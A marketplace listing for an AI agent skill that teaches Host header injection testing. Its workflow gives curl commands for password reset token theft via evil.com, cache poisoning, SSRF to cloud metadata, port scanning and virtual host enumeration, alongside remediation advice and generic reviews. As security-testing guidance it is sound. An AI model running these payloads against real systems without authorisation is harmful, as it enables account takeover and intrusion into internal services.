testing-for-host-header-injection▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks.
| name | testing-for-host-header-injection |
| description | Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - host-header-injection - password-reset-poisoning - cache-poisoning - virtual-host - web-security - header-manipulation - ssrf |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Testing for Host Header Injection
When to Use
- When testing password reset functionality for token theft via host manipulation
- During assessment of web caching behavior influenced by Host header values
- When testing virtual host routing and server-side request processing
- During penetration testing of applications behind reverse proxies or load balancers
- When evaluating SSRF potential through Host header manipulation
Prerequisites
- Burp Suite for intercepting and modifying Host headers
- Understanding of HTTP Host header role in virtual hosting and routing
- Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)
- Access to an attacker-controlled domain for receiving poisoned requests
- Burp Collaborator or interact.sh for out-of-band detection
- Multiple test accounts for password reset testing
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Test Basic Host Header Injection
# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response
# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v
# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v
# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v
# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v
Step 2 — Test Password Reset Poisoning
# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
-H "Host: evil.com" \
-d "[email protected]"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link
# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
-H "X-Forwarded-Host: evil.com" \
-d "[email protected]"
# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
-H "Host: target.com:[email protected]" \
-d "[email protected]"
# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
curl -X POST http://target.com/forgot-password \
-H "$header: evil.com" \
-d "[email protected]"
echo "Tested: $header"
done
Step 3 — Test Web Cache Poisoning via Host Header
# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content
# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached
# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned
# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users
Step 4 — Test SSRF via Host Header
# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy
# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/
# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
echo " - Port $port"
done
# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/
Step 5 — Test Virtual Host Enumeration
# Enumerate virtual hosts
for vhost in admin staging dev test api internal backend; do
status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
echo "$vhost.target.com - Status: $status, Size: $size"
done
# Check default virtual host behavior
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# Compare with legitimate host response
# Access internal admin panels via virtual host
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/
Step 6 — Test Connection-State Attacks
# HTTP/1.1 connection reuse attack
# Send legitimate first request, then inject Host header on subsequent request
# Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive
# In Burp Repeater, send grouped request:
# Request 1 (legitimate):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# Request 2 (injected):
# GET /admin HTTP/1.1
# Host: internal.target.com
# Test with HTTP Request Smuggling combined
# If front-end validates Host but back-end doesn't:
# Smuggle request with modified Host header
Key Concepts
| Concept | Description |
|---|---|
| Host Header | HTTP header specifying the target virtual host for the request |
| Password Reset Poisoning | Injecting Host to make reset emails contain attacker-controlled URLs |
| Cache Poisoning via Host | Poisoning CDN cache with responses containing attacker-controlled host |
| Virtual Host Routing | Web server using Host header to route requests to different applications |
| X-Forwarded-Host | Alternative header used by proxies that may override Host header |
| Connection State Attack | Exploiting persistent connections to send requests with different Host values |
| Server-Side Host Resolution | Backend code using Host header for URL generation and redirects |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for Host header manipulation and analysis |
| Burp Collaborator | Out-of-band detection for Host header SSRF |
| ffuf | Virtual host brute-forcing with custom Host headers |
| gobuster vhost | Virtual host enumeration mode |
| Nuclei | Template-based scanning for Host header injection |
| param-miner | Burp extension for discovering unkeyed Host-related headers |
Common Scenarios
- Password Reset Token Theft — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token
- Web Cache Poisoning — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users
- Internal Panel Access — Enumerate and access internal admin panels through virtual host manipulation
- SSRF to Cloud Metadata — Use Host header to redirect server-side requests to cloud metadata endpoints
- Routing Bypass — Bypass access controls by manipulating Host to route requests to unprotected backend instances
Output Format
## Host Header Injection Report
- **Target**: http://target.com
- **Reverse Proxy**: Nginx
- **Backend**: Apache/PHP
### Findings
| # | Technique | Header | Impact | Severity |
|---|-----------|--------|--------|----------|
| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |
| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |
| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |
### Remediation
- Validate Host header against a whitelist of expected values
- Do not use Host header for generating URLs in password reset emails
- Configure web server to reject requests with unrecognized Host values
- Set absolute URLs in application configuration instead of deriving from Host
How to use testing-for-host-header-injection on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-for-host-header-injection
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-for-host-header-injection from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-for-host-header-injection. Access the skill through slash commands (e.g., /testing-for-host-header-injection) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.7★★★★★52 reviews- ★★★★★Dhruvi Jain· Dec 28, 2024
testing-for-host-header-injection fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Chen Farah· Dec 24, 2024
We added testing-for-host-header-injection from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Chen Nasser· Dec 12, 2024
Registry listing for testing-for-host-header-injection matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Kwame Abbas· Dec 12, 2024
testing-for-host-header-injection reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Oshnikdeep· Nov 19, 2024
Registry listing for testing-for-host-header-injection matched our evaluation — installs cleanly and behaves as described in the markdown.
- ★★★★★Mei Abbas· Nov 15, 2024
testing-for-host-header-injection reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Noor Bhatia· Nov 3, 2024
testing-for-host-header-injection fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Mei Chen· Nov 3, 2024
We added testing-for-host-header-injection from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Isabella Srinivasan· Oct 22, 2024
We added testing-for-host-header-injection from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Ava Rao· Oct 22, 2024
testing-for-host-header-injection fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
showing 1-10 of 52